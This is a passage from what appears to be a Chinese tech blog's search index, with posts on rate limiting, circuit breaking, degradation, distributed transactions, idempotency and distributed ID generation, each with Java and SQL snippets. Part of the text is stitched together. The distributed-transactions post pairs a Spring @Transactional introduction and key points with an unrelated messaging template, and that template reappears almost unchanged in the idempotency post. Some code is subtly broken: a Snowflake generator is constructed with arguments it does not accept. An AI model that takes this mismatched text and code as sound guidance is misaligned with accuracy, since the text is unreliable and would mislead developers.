      <link href="//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/"/>
      <url>//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/</url>
      
        <content type="html"><![CDATA[<h1 id="限流、熔断、降级：高可用架构的三大利器"><a href="#限流、熔断、降级：高可用架构的三大利器" class="headerlink" title="限流、熔断、降级：高可用架构的三大利器"></a>限流、熔断、降级：高可用架构的三大利器</h1><p>限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。</p><h2 id="概念区别"><a href="#概念区别" class="headerlink" title="概念区别"></a>概念区别</h2><p>#</p><h2 id="1-限流（Rate-Limiting）"><a href="#1-限流（Rate-Limiting）" class="headerlink" title="1. 限流（Rate Limiting）"></a>1. 限流（Rate Limiting）</h2><p><strong>目的</strong>：控制进入系统的请求速率</p><p><strong>原理</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│     大量请求涌入                    │</span><br><span class="line">└──────────────┬──────────────────────┘</span><br><span class="line">               │</span><br><span class="line">               ▼</span><br><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│    限流组件（令牌桶/漏桶）           │</span><br><span class="line">│    ┌────────────────────────────┐   │</span><br><span class="line">│    │ 每秒只允许 1000 个请求通过 │   │</span><br><span class="line">│    └────────────────────────────┘   │</span><br><span class="line">└──────────────┬──────────────────────┘</span><br><span class="line">               │</span><br><span class="line">               ▼</span><br><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│      后端服务（稳定处理）            │</span><br><span class="line">└─────────────────────────────────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-熔断（Circuit-Breaker）"><a href="#2-熔断（Circuit-Breaker）" class="headerlink" title="2. 熔断（Circuit Breaker）"></a>2. 熔断（Circuit Breaker）</h2><p><strong>目的</strong>：快速失败，保护下游服务</p><p><strong>原理</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">健康状态：</span><br><span class="line">┌─────┐     正常请求      ┌──────┐</span><br><span class="line">│ API │ ────────────────► │ 服务 │</span><br><span class="line">└─────┘                   └──────┘</span><br><span class="line"></span><br><span class="line">熔断状态：</span><br><span class="line">┌─────┐    直接返回错误    ┌──────┐</span><br><span class="line">│ API │ ────────────────► │ 熔断 │</span><br><span class="line">└─────┘                   └──────┘</span><br><span class="line">                            │</span><br><span class="line">                            ▼</span><br><span class="line">                    ┌──────┐</span><br><span class="line">                    │ 服务 │ (恢复中)</span><br><span class="line">                    └──────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-降级（Degradation）"><a href="#3-降级（Degradation）" class="headerlink" title="3. 降级（Degradation）"></a>3. 降级（Degradation）</h2><p><strong>目的</strong>：牺牲非核心功能，保障核心服务</p><p><strong>原理</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">正常情况：</span><br><span class="line">用户 → 首页 → [推荐模块] → [搜索模块] → [用户模块]</span><br><span class="line"></span><br><span class="line">降级情况：</span><br><span class="line">用户 → 首页 → [推荐模块(降级)] → [搜索模块] → [用户模块]</span><br><span class="line">                    │</span><br><span class="line">                    ▼</span><br><span class="line">              返回默认推荐数据</span><br></pre></td></tr></table></figure><h2 id="实践实现"><a href="#实践实现" class="headerlink" title="实践实现"></a>实践实现</h2><p>#</p><h2 id="限流实现"><a href="#限流实现" class="headerlink" title="限流实现"></a>限流实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用 Bucket4j 实现限流</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RateLimitFilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Bucket bucket;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">RateLimitFilter</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.bucket = Bucket.builder()</span><br><span class="line">            .addLimit(Bandwidth.simple(<span class="number">1000</span>, Duration.ofSeconds(<span class="number">1</span>)))</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest request, ServletResponse response, FilterChain chain)</span> </span><br><span class="line">        <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (bucket.tryConsume(<span class="number">1</span>)) &#123;</span><br><span class="line">            chain.doFilter(request, response);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="type">HttpServletResponse</span> <span class="variable">httpResponse</span> <span class="operator">=</span> (HttpServletResponse) response;</span><br><span class="line">            httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());</span><br><span class="line">            httpResponse.getWriter().write(<span class="string">&quot;请求过于频繁，请稍后重试&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="熔断实现"><a href="#熔断实现" class="headerlink" title="熔断实现"></a>熔断实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用 Resilience4j 实现熔断</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CircuitBreaker circuitBreaker;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> InventoryService inventoryService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">OrderService</span><span class="params">(InventoryService inventoryService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.inventoryService = inventoryService;</span><br><span class="line">        <span class="built_in">this</span>.circuitBreaker = CircuitBreaker.ofDefaults(<span class="string">&quot;inventory&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(Long productId, <span class="type">int</span> quantity)</span> &#123;</span><br><span class="line">        Supplier&lt;Boolean&gt; supplier = circuitBreaker.decorateSupplier(</span><br><span class="line">            () -&gt; inventoryService.deductStock(productId, quantity)</span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        Try.ofSupplier(supplier)</span><br><span class="line">            .onSuccess(result -&gt; log.info(<span class="string">&quot;库存扣减成功&quot;</span>))</span><br><span class="line">            .onFailure(e -&gt; &#123;</span><br><span class="line">                log.warn(<span class="string">&quot;库存服务熔断，使用降级方案&quot;</span>);</span><br><span class="line">                <span class="comment">// 降级逻辑</span></span><br><span class="line">            &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="降级实现"><a href="#降级实现" class="headerlink" title="降级实现"></a>降级实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用 Hystrix 实现降级</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RecommendService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@HystrixCommand(fallbackMethod = &quot;getFallbackRecommendations&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;Product&gt; <span class="title function_">getRecommendations</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 正常调用推荐算法</span></span><br><span class="line">        <span class="keyword">return</span> recommendationAlgorithm.getRecommendations(userId);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> List&lt;Product&gt; <span class="title function_">getFallbackRecommendations</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 降级：返回热门商品</span></span><br><span class="line">        <span class="keyword">return</span> productRepository.findHotProducts(<span class="number">10</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="适用场景"><a href="#适用场景" class="headerlink" title="适用场景"></a>适用场景</h2><p>#</p><h2 id="限流场景"><a href="#限流场景" class="headerlink" title="限流场景"></a>限流场景</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 场景：秒杀活动</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/seckill&quot;)</span></span><br><span class="line"><span class="meta">@RateLimiter(name = &quot;seckill&quot;, fallbackMethod = &quot;seckillFallback&quot;)</span></span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;String&gt; <span class="title function_">seckill</span><span class="params">(<span class="meta">@RequestParam</span> Long productId)</span> &#123;</span><br><span class="line">    seckillService.seckill(productId);</span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.ok(<span class="string">&quot;秒杀成功&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;String&gt; <span class="title function_">seckillFallback</span><span class="params">(Long productId, Throwable e)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.status(HttpStatus.TOO_MANY_REQUESTS).body(<span class="string">&quot;秒杀太火爆，请稍后重试&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="熔断场景"><a href="#熔断场景" class="headerlink" title="熔断场景"></a>熔断场景</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 场景：调用第三方支付接口</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">pay</span><span class="params">(PaymentRequest request)</span> &#123;</span><br><span class="line">    circuitBreaker.executeSupplier(() -&gt; &#123;</span><br><span class="line">        <span class="keyword">return</span> paymentClient.pay(request);</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="降级场景"><a href="#降级场景" class="headerlink" title="降级场景"></a>降级场景</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 场景：首页展示</span></span><br><span class="line"><span class="keyword">public</span> HomePage <span class="title function_">getHomePage</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="type">HomePage</span> <span class="variable">page</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HomePage</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 核心功能：用户信息</span></span><br><span class="line">    page.setUser(userService.getUser(userId));</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 非核心功能：推荐（可降级）</span></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        page.setRecommendations(recommendService.getRecommendations(userId));</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.warn(<span class="string">&quot;推荐服务降级&quot;</span>);</span><br><span class="line">        page.setRecommendations(getDefaultRecommendations());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> page;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="监控与告警"><a href="#监控与告警" class="headerlink" title="监控与告警"></a>监控与告警</h2><p>#</p><h2 id="限流监控"><a href="#限流监控" class="headerlink" title="限流监控"></a>限流监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 记录限流指标</span></span><br><span class="line"><span class="type">MeterRegistry</span> <span class="variable">meterRegistry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SimpleMeterRegistry</span>();</span><br><span class="line"><span class="type">Counter</span> <span class="variable">blockedRequests</span> <span class="operator">=</span> Counter.builder(<span class="string">&quot;rate_limit.blocked&quot;</span>)</span><br><span class="line">    .register(meterRegistry);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 限流时记录</span></span><br><span class="line"><span class="keyword">if</span> (!bucket.tryConsume(<span class="number">1</span>)) &#123;</span><br><span class="line">    blockedRequests.increment();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="熔断监控"><a href="#熔断监控" class="headerlink" title="熔断监控"></a>熔断监控</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Prometheus 指标</span></span><br><span class="line">resilience4j_circuitbreaker_calls_total&#123;name=<span class="string">&quot;inventory&quot;</span>,state=<span class="string">&quot;success&quot;</span>&#125; 100</span><br><span class="line">resilience4j_circuitbreaker_calls_total&#123;name=<span class="string">&quot;inventory&quot;</span>,state=<span class="string">&quot;failed&quot;</span>&#125; 50</span><br><span class="line">resilience4j_circuitbreaker_state&#123;name=<span class="string">&quot;inventory&quot;</span>&#125; 1  <span class="comment"># 1=OPEN, 0=CLOSED</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级的核心价值：</p><ol><li><strong>限流</strong>：控制入口流量，保护系统不被压垮</li><li><strong>熔断</strong>：快速失败，防止级联故障</li><li><strong>降级</strong>：牺牲非核心功能，保障核心服务</li></ol><p>这三种策略常常组合使用，共同构建高可用的分布式系统。我在多个项目中都实践过这些策略，效果非常显著。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>限流：控制入口流量，保护系统不被压垮</p></li><li><p>熔断：快速失败，防止级联故障</p></li><li><p>降级：牺牲非核心功能，保障核心服务</p></li><li><p>常用的限流算法：令牌桶、漏桶、滑动窗口</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式事务为什么难</title>
      <link href="//fen-bu-shi-shi-wu-wei-shi-me-nan/"/>
      <url>//fen-bu-shi-shi-wu-wei-shi-me-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式事务为什么难"><a href="#分布式事务为什么难" class="headerlink" title="分布式事务为什么难"></a>分布式事务为什么难</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口幂等性设计从业务开始</title>
      <link href="//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/"/>
      <url>//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="接口幂等性设计从业务开始"><a href="#接口幂等性设计从业务开始" class="headerlink" title="接口幂等性设计从业务开始"></a>接口幂等性设计从业务开始</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式 ID 生成：方案对比与选型指南</title>
      <link href="//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/"/>
      <url>//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式-ID-生成：方案对比与选型指南"><a href="#分布式-ID-生成：方案对比与选型指南" class="headerlink" title="分布式 ID 生成：方案对比与选型指南"></a>分布式 ID 生成：方案对比与选型指南</h1><p>在分布式系统中，生成唯一 ID 是一个常见需求。今天我想分享一下常见的分布式 ID 生成方案及其适用场景。</p><h2 id="常见方案对比"><a href="#常见方案对比" class="headerlink" title="常见方案对比"></a>常见方案对比</h2><table><thead><tr><th>方案</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>UUID</strong></td><td>简单，无需协调</td><td>无序，索引性能差</td><td>非核心业务</td></tr><tr><td><strong>数据库自增</strong></td><td>有序，简单</td><td>单点瓶颈</td><td>中小规模</td></tr><tr><td><strong>雪花算法</strong></td><td>高性能，有序</td><td>需要时钟同步</td><td>高并发场景</td></tr><tr><td><strong>Redis 生成</strong></td><td>高性能，灵活</td><td>依赖 Redis</td><td>缓存场景</td></tr><tr><td><strong>数据库分段</strong></td><td>高可用，有序</td><td>实现复杂</td><td>大规模系统</td></tr></tbody></table><h2 id="方案详解"><a href="#方案详解" class="headerlink" title="方案详解"></a>方案详解</h2><h3 id="1-UUID"><a href="#1-UUID" class="headerlink" title="1. UUID"></a>1. UUID</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 最简单的方案</span></span><br><span class="line"><span class="type">String</span> <span class="variable">id</span> <span class="operator">=</span> UUID.randomUUID().toString();</span><br><span class="line"><span class="comment">// 示例: 550e8400-e29b-41d4-a716-446655440000</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>本地生成，无需网络调用</li><li>128 位，全球唯一</li><li>无序，不利于数据库索引</li></ul><h3 id="2-数据库自增"><a href="#2-数据库自增" class="headerlink" title="2. 数据库自增"></a>2. 数据库自增</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> id_generator (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取 ID</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> id_generator <span class="keyword">VALUES</span> (<span class="keyword">NULL</span>);</span><br><span class="line"><span class="keyword">SELECT</span> LAST_INSERT_ID();</span><br></pre></td></tr></table></figure><p><strong>优化方案</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 使用批量获取</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">UPDATE</span> id_generator <span class="keyword">SET</span> id <span class="operator">=</span> LAST_INSERT_ID(id <span class="operator">+</span> <span class="number">1000</span>);</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br><span class="line"><span class="comment">-- 使用 LAST_INSERT_ID() 获取起始 ID</span></span><br></pre></td></tr></table></figure><h3 id="3-雪花算法"><a href="#3-雪花算法" class="headerlink" title="3. 雪花算法"></a>3. 雪花算法</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SnowflakeIdGenerator</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">long</span> workerId;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">long</span> datacenterId;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> <span class="variable">sequence</span> <span class="operator">=</span> <span class="number">0L</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> <span class="variable">lastTimestamp</span> <span class="operator">=</span> -<span class="number">1L</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="type">long</span> <span class="title function_">nextId</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">timestamp</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (timestamp &lt; lastTimestamp) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;时钟回拨&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (timestamp == lastTimestamp) &#123;</span><br><span class="line">            sequence = (sequence + <span class="number">1</span>) &amp; <span class="number">4095</span>; <span class="comment">// 12位序列号</span></span><br><span class="line">            <span class="keyword">if</span> (sequence == <span class="number">0</span>) &#123;</span><br><span class="line">                timestamp = waitNextMillis(lastTimestamp);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            sequence = <span class="number">0L</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        lastTimestamp = timestamp;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> ((timestamp - <span class="number">1288834974657L</span>) &lt;&lt; <span class="number">22</span>)  <span class="comment">// 时间戳</span></span><br><span class="line">             | (datacenterId &lt;&lt; <span class="number">17</span>)                   <span class="comment">// 数据中心ID</span></span><br><span class="line">             | (workerId &lt;&lt; <span class="number">12</span>)                       <span class="comment">// 机器ID</span></span><br><span class="line">             | sequence;                              <span class="comment">// 序列号</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>结构</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1位符号位 + 41位时间戳 + 5位数据中心 + 5位机器ID + 12位序列号 = 64位</span><br></pre></td></tr></table></figure><h3 id="4-Redis-生成"><a href="#4-Redis-生成" class="headerlink" title="4. Redis 生成"></a>4. Redis 生成</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisIdGenerator</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redisTemplate;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">nextId</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redisTemplate.opsForValue()</span><br><span class="line">            .increment(key, <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>批量获取</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> List&lt;Long&gt; <span class="title function_">batchNextId</span><span class="params">(String key, <span class="type">int</span> count)</span> &#123;</span><br><span class="line">    <span class="type">Long</span> <span class="variable">result</span> <span class="operator">=</span> redisTemplate.opsForValue().increment(key, count);</span><br><span class="line">    List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; count; i++) &#123;</span><br><span class="line">        ids.add(result - count + <span class="number">1</span> + i);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> ids;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实战选型建议"><a href="#实战选型建议" class="headerlink" title="实战选型建议"></a>实战选型建议</h2><h3 id="场景一：中小型系统"><a href="#场景一：中小型系统" class="headerlink" title="场景一：中小型系统"></a>场景一：中小型系统</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用数据库自增 ID</span></span><br><span class="line"><span class="meta">@Repository</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">OrderRepository</span> <span class="keyword">extends</span> <span class="title class_">JpaRepository</span>&lt;Order, Long&gt; &#123;</span><br><span class="line">    <span class="meta">@Query(value = &quot;SELECT AUTO_INCREMENT FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = &#x27;orders&#x27;&quot;, nativeQuery = true)</span></span><br><span class="line">    Long <span class="title function_">getNextId</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="场景二：高并发系统"><a href="#场景二：高并发系统" class="headerlink" title="场景二：高并发系统"></a>场景二：高并发系统</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用雪花算法</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">IdGeneratorConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;app.worker-id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> workerId;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> SnowflakeIdGenerator <span class="title function_">snowflakeIdGenerator</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">SnowflakeIdGenerator</span>(workerId, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="场景三：多数据中心"><a href="#场景三：多数据中心" class="headerlink" title="场景三：多数据中心"></a>场景三：多数据中心</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用带数据中心ID的雪花算法</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MultiDCIdGenerator</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">nextId</span><span class="params">(<span class="type">int</span> datacenterId, <span class="type">int</span> workerId)</span> &#123;</span><br><span class="line">        <span class="comment">// 包含数据中心信息</span></span><br><span class="line">        <span class="keyword">return</span> snowflakeGenerator(datacenterId, workerId).nextId();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><h3 id="1-时钟回拨问题"><a href="#1-时钟回拨问题" class="headerlink" title="1. 时钟回拨问题"></a>1. 时钟回拨问题</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 处理时钟回拨</span></span><br><span class="line"><span class="keyword">if</span> 